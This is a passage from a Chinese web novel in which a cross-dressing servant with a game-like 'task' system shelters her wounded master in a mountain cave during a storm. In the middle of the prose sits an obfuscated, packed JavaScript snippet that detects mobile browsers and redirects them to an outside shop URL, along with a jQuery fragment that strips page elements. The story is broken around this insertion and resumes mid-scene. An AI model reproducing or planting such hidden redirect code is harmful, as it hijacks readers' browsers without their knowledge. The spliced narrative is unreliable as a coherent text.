这台阶给的,多善解人意又宽容大度啊,被主子冤枉了还处处为主子着想,柳棠都快被自己感动了,心说就为这,顾珩回头怎么着也得再赏她二两银子以示嘉奖。 柳棠等了一会儿,被冷风冷雨打得都想骂人了,才感觉伸出去的树枝被抓住。 她深深吸了口气,问:“公子,走哪儿啊?” 顾珩背上中了两箭,他虽及时点穴止血,但在雨里淋了太久,情况着实有些不妙。然每每意识有些昏沉了,柳棠总恰到好处地弄出些动静让他保持清醒,叫他在疼痛和虚弱的烦躁中忍不住发笑。 顾珩轻吸口气,站了起来,抓着树枝指挥人往印象里的山洞而去。 走着走着,柳棠觉得有些不对劲。 她的本意是走一会儿后就把顾珩护至身前,让他带着她走。毕竟这人习武,黑暗中视物的能力很不错,比她磕磕绊绊时不时踢一脚树根石头撞得脚趾生疼要好得多。 可现在的情况是,她停他就停,顾珩丝毫没有上前带路的觉悟,不仅如此,这人似乎还很享受被人拉着往前走、自己不使力的感觉。 柳棠累得一路左右手换了无数次,感觉自己拖了头死猪。 风吹雨打,又冷又累,柳棠肚子里的火气是越攒越旺。 到地方后,她错开身,拽着树枝用力往前一带,把顾珩拽进山洞里,没好气道:“到了。” 回应她的是“嘭”的一下,重物砸在地上的声音。 柳棠一愣,错愕道:“公子,是你吗?” 反应过来后心慌了一下,怕这人恼羞成怒给自己一剑,赶紧上前一步摸索着去拉他,“公子你没事吧?” 柳棠纳闷:我也没使多大劲儿啊,怎么就给人摔趴下了? 手刚摸上去,就被个参差不齐的硬东西扎了一下。 顾珩闷哼一声。 柳棠也哑着声儿叫了一嗓子。 什么东西啊? 柳棠迟疑着又摸了一下,她一摸顾珩就哼,试了几次下来,这东西才在柳棠脑子里有了形状——这是一根被折断的箭。 铁镞已经完全入肉,柳棠在那旁边摸到一片黏稠的濡湿。这手感是血无疑了。 满腔火气一瞬间消失得无影无踪,她手一抖,害怕起来。 柳棠抖着手去试顾珩还有没有呼吸。 湿漉漉的手指被风一吹,凉得她一个哆嗦,起了一身鸡皮疙瘩。确认顾珩还有气后,她差点泪目了。 天知道在暴雨夜和一具尸体一起待在一个狭小山洞里有多吓人,顾珩没死可真好。 喊了顾珩几声他没应,柳棠有点焦虑,怕他死了自己被野兽或者来追杀的人包饺子,怕自己在山里迷路被拐子抓了卖给别人当牛做马,更怕自己发高烧一病不起死在山里。 柳棠在山洞里摸索一阵,在最里面摸到片铺了稻草的地方,便赶紧把顾珩的衣服拧干水分,再将他拖过去趴下,把多余的稻草搭在他身上,祈祷他不要失温死掉。 把顾珩收拾好了,她才把自己的衣服脱了拧到滴不出水重新穿上,冷得厉害。 在山洞里来回快走了一会儿,柳棠才觉得没那么冷了,犹豫片刻后,到顾珩身边躺下了。 本着报团取暖和机会难得的心理,柳棠克服了趁人之危的羞愧,一侧身,一伸手,揽住了顾珩劲瘦冰凉的腰。她甚至又往前挤了挤,把人严丝合缝地抱在了怀里。 诡异的兴奋和怀里的冰凉,让柳棠身不由己地哆嗦了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463592|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 和任务完成的提示一起响起的,是顾珩虚弱又恼怒至极的声音:“把你那恶心玩意儿给我扔了!咳咳……” 他说话的时候柳棠脑子里还回荡着下一项任务的提示,回神之后,惊喜于顾珩醒了,然后才后知后觉反应过来顾珩刚才怒火中烧地吼了一句“把你那恶心玩意儿给我割掉”,她立刻意识到了位置有些尴尬,悻悻往后撤了撤,又止不住代入感很强地开始生气: “我又不是故意的,公子过分了吧?” 稍不顺心就要别人割掉,太残暴太难伺候了吧?难怪瑛姑和初砚脾气都不好,额……话说初砚难道……? 柳棠默默同情了初砚两息时间。 顾珩原本已经晕过去了,但因潜意识里认定柳棠不是个可以托付性命之人,又挣扎着醒了过来,醒来的第一反应是惊讶、赞许和欣慰。 他还以为此人会趁机像小说里写的那样,脱光衣服与他肌肤相贴互相依偎着取暖,毕竟这人从一开始似乎就有这种倾向,没想到在这大好机会下她竟然能节制欲望,倒是让人出乎意料了。 而且他是趴伏在稻草上的,并不是受伤的背部着地。此人竟然比他想象中的要靠谱一点。 但很快,随着大腿后侧方的触感慢一拍地传过来,这点子赞许和欣慰就立刻烟消云散,取而代之的是汹涌的膈应和恼怒。 他甚至忘了掩饰自己早已看穿她女扮男装的事实。 但对方并没有发现。 顾珩哑然。 随即觉得能对这样一个人发起脾气来的自己也挺可笑的。 顾珩闭了闭眼,很快又睁开,对柳棠道:“墙根,稻草下面,有个盒子,里面有衣服。” 柳棠正等着他激情开怼呢,结果等来这么一句,酝酿好的情绪都有些卡壳,“哦。” 这是让她去拿干衣服,然后伺候他把身上那些湿的换下来的意思…… 嗯???不对! 你怎么知道那下面有盒子,盒子里面有衣服? 搞半天这地方是你狡兔三窟里的其中一窟?难怪能在下着大暴雨的伸手不见五指的黑夜里精准找到这么大个山洞。 未雨绸缪啊,佩服,佩服! 柳棠一下就不焦虑了。有这么完全的准备,这人必定是被追杀惯了的,想必自有手段逢凶化吉。 看来她多半是能顺利活到任务期限结束了。 柳棠想到刚刚发布的“摸摸腹肌”任务,当即眉开眼笑地去扒拉稻草了。